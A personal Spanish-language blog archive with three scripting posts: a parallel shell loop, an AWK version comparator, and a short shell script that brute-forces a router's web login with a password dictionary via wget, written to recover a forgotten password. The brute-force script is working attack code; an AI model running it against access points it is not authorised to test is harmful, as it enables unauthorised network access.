夜の抜ける

A blog about anything and everything :P.

Archive for the ‘Scripts & Snippets’ Category

shellscript: procesando una lista en paralelo

with 6 comments

Gracias a un oportuno comentario de CMA, nace una obra de arte :P.

#!/bin/sh
PLIMIT=5
PCOUNT=0
PIDS=

while read item; do
  procesar $item &

  PIDS="$PIDS $!"
  [ $((++PCOUNT)) -ge $PLIMIT ] && {
    while true; do
      CUR=`echo $PIDS | cut -f1`
      PIDS=`echo $PIDS | cut -f2-`
      wait $CUR
      [ $((--PCOUNT)) -lt $PLIMIT -o $? -eq 127 ] || break
    done
  }
done
wait

Comentarios? :)

Written by Ismael Luceno

2009-07-09 at 22:23

Posted in Scripts & Snippets

Crackeando una red con un diccionario

without comments

Hace bastante, cuando fuimos a instalar el nodo de CMA (Montevideolibre), luego de subir el AP, nos encontramos con que CMA no se acordaba del password que le había puesto :P.

En ese momento me vino una idea a la mente, “¿y si lo crackeamos?” dije casi sin pensar, igual, la falta de conectividad nos impidió armar un diccionario adecuado, pero lo interesante es lo fácil que se puede hacer un programa para crackear un AP via esas interfaces web que generalmente traen.

Este es el script que improvisé en ese momento:

#!/bin/sh
IP=192.168.1.1
[ -n "$1" ] && IP="$1"
while read pwd; do
wget -O - --post-data "pws=$pwd" "http://$IP/login.htm" |
grep -q "Login Error !!" || { echo $pwd; break }
done

Realmente muy sencillo :-).

Written by Ismael Luceno

2008-10-29 at 23:47

Posted in Scripts & Snippets

Tagged with ,

Comparando versiones

without comments

Luego de leer una nota sobre comparar versiones en la lista de correos de SourceMage, decidí buscar métodos para comparar versiones, y la primera cosa que se me vino a la mente fué usar un simple shell-script, lamentablemente el tema es un poco más complicado que eso, y no resultó muy práctico que digamos.

Luego de discutir sobre el tema por un rato con FCR, sugirió hacer algo muy sucio con ls -v, así que recordé que ls usa la función strverscmp() de glibc, lamentablemente no es estándar, y hacer un programa en C para esto no me hacía mucha gracia, así que decidí remangarme e implementar algo similar en AWK:

#!/bin/awk -f
BEGIN {
	FS = "[-_.]"
	la = split(ARGV[1], a)
	lb = split(ARGV[2], b)
  	l = (la < lb) ? la : lb
	o = la - lb

	for (i = 1; i <= l; i++) {
		if (a[i] != b[i]) {
			o = a[i] - b[i]
			break
		}
	}

	print o
}

¿No es hermoso?

Written by Ismael Luceno

2008-04-12 at 03:26

Posted in Scripts & Snippets

Tagged with